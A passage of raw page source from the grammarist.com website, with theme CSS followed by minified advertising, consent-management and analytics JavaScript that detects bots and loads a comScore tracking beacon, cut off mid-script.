901.progresscontainer .progress-bar, 902.progresscontainer .progress-bar-checkout { 903 border-radius: 12px; 904 background-color: #42b99f; 905 background-image: -webkit-linear-gradient(45deg, 906 rgba(255, 255, 255, 0.2) 25%, 907 transparent 25%, 908 transparent 50%, 909 rgba(255, 255, 255, 0.2) 50%, 910 rgba(255, 255, 255, 0.2) 75%, 911 transparent 75%, 912 transparent 913 ); 914} 915 916.progresscontainer .progress-bar-checkout { 917 background-color: #e8584b; 918} 919 920/* Cartflows Checkout Styling */ 921.wcf-embed-checkout-form-two-step .wcf-next-button .wcf-button-text { 922 font-size: 2em; 923} 924 925.wcf-embed-checkout-form-two-step .wcf-next-button .wcf-button-sub-text { 926 font-size: 1.5em; 927} 928 929.wcf-embed-checkout-form-modern-checkout .wcf-product-option-wrap { 930 display: none; 931} 932 933.single-cartflows_step .search-modal-fields { 934 display: none; 935} 936 937/* Countdown Timers - Generic Base */ 938.countdown-timer { 939 display: flex; 940 justify-content: center; 941 align-items: center; 942} 943 944.countdown-item { 945 display: flex; 946 flex-direction: column; 947 align-items: center; 948 margin: 0 0.6rem; 949} 950 951.countdown-value { 952 display: flex; 953 justify-content: center; 954 align-items: center; 955 width: 4rem; 956 height: 4rem; 957 border-radius: 50%; 958 font-size: 2rem; 959 font-weight: bold; 960 border: solid 4px;
961} 962 963.countdown-label { 964 margin-top: 0.4rem; 965 font-size: 0.7rem; 966 font-weight: bold; 967 text-transform: uppercase; 968 color: #999; 969 text-align: center; 970} 971 972/* Timers 1-4 Variants */ 973#timer1 .countdown-value, 974#timer2 .countdown-value { 975 width: 6.5rem; 976 height: 6.5rem; 977 font-size: 60px; 978 color: #fff; 979} 980 981#timer1.countdown-label, 982#timer2.countdown-label { 983 margin-top: 0.8rem; 984 font-size: 0.9rem; 985} 986 987#timer3 .countdown-value, 988#timer4 .countdown-value { 989 width: 4rem; 990 height: 4rem; 991 font-size: 2rem; 992} 993 994#timer4 .countdown-value { 995 color: #fff; 996} 997 998/* Course Page Styling */ 999.page-id-70514.separate-containers .inside-article { 1000 padding: 10px; 1001} 1002 1003.learndash-course-grid .item { 1004 transition: all 0.2s ease-in-out; 1005} 1006 1007.learndash-course-grid .item:hover { 1008 transform: scale(1.035); 1009} 1010 1011.learndash-course-grid .entry-content { 1012 margin-bottom: 20px; 1013} 1014 1015/* Navigation Styling */ 1016body:not(.logged-in) .myaccount-link, 1017body.logged-in .login-link { 1018 display: none; 1019} 1020 1021.mobile-menu { 1022 display: none; 1023} 1024 1025.slideout-navigation a { 1026 color: #42B99F; 1027} 1028 1029/* Pinterest Button */ 1030.dpsp-pin-it-wrapper .dpsp-pin-it-button { 1031 visibility: visible !important; 1032 color: #fff !important; 1033 background-color: #c92228 !important; 1034} 1035
1036/* GID Tripwire Landing - Start */ 1037.bot-pattern { 1038 background-image: repeating-linear-gradient(45deg, #ffffff 25%, #f8f9fa 25%, #f8f9fa 50%, #ffffff 50%, #ffffff 75%, #f8f9fa 75%, #f8f9fa 100%); 1039 background-size: 20px 20px; 1040 } 1041 1042</style><style id="uagb-style-conditional-extension">@media (min-width: 1025px){body .uag-hide-desktop.uagb-google-map__wrap,body .uag-hide-desktop{display:none !important}}@media (min-width: 768px) and (max-width: 1024px){body .uag-hide-tab.uagb-google-map__wrap,body .uag-hide-tab{display:none !important}}@media (max-width: 767px){body .uag-hide-mob.uagb-google-map__wrap,body .uag-hide-mob{display:none !important}}</style><style id="uagb-style-frontend-108520">.uag-blocks-common-selector{z-index:var(--z-index-desktop) !important}@media(max-width: 976px){.uag-blocks-common-selector{z-index:var(--z-index-tablet) !important}}@media(max-width: 767px){.uag-blocks-common-selector{z-index:var(--z-index-mobile) !important}}</style><link rel="icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-32x32.png" sizes="32x32" /> 1043<link rel="icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-192x192.png" sizes="192x192" /> 1044<link rel="apple-touch-icon" href="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-180x180.png" /> 1045<meta name="msapplication-TileImage" content="https://grammarist.com/wp-content/uploads/2022/01/cropped-Grammarist-favicon-2-270x270.png" />
1046<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
1046{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
1046),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
1046; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
1046{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
1046<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-cbeddd4'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-22`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof 